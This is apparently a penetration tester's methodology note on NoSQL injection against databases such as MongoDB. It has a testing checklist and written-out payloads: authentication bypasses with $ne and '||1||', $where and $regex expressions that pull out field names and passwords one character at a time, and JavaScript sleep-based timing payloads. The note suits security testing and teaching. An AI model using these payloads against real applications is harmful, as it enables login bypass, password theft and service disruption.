NoSQLi

Summary

SQL happens to not be the only database management language in use. A common alternative is NoSQL, which as the name might imply, can be languages and structures other than SQL. MongoDB is a big name allowing for JSON, XML, SQL, and more. Due to the flexibility, lack of restrictions and rigid schema, NoSQL can take more enumeration than traditional SQL while coming with its fair share of quick wins. The testing is close to [[SQLi - MySQL Injection]] with a different syntax depending on the database being attacked. Where NoSQLi might differ is its use of operators, allowing for more logic based exfiltration and bypasses than traditional SQLi.

Methodology

When looking for NoSQLi vulnerabilities ask/try the following:

  • What NoSQL database is being used? (MongoDB, CouchDB, etc)
  • try to induce an error with ' or "
    • if a character can induce an error escape it and check if the query properly runs: \'
    • check for true ' && 1 && 'x and false ' && 0 && 'x statement differences
    • add a '||1||' as an or true bypass
  • try commenting out the rest of the query by appending %00
  • try to add another operator
    • in a field add {"$ne":"null"} in place of its data
    • as another element add "$where":"1"
    • try changing to POST with json body data
  • try for a timing based attack {"$where": "sleep(5000)"}

IF NoSQLi IS FOUND

  • guess fields in the current database: admin' && this.username!='
  • fuzz fields with "$where":"Object.keys(this)[0].match('^.{0}a.*')"
    • fuzz things with "$where":"this.password.match('^.{0}a.*')"
  • get lengths of fields or queries with administrator' && this.password.length<'9
  • try to use $regex similar to LIKE to fuzz data {"username":"admin","password":{"$regex":"^a*"}}

Capabilities

Data manipulation Sensitive Data Exposure Denial of Service Remote Code Execution

Found In

Parameters User Input HTTP Headers

Tools/Examples

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

Timing Based Attacks

admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'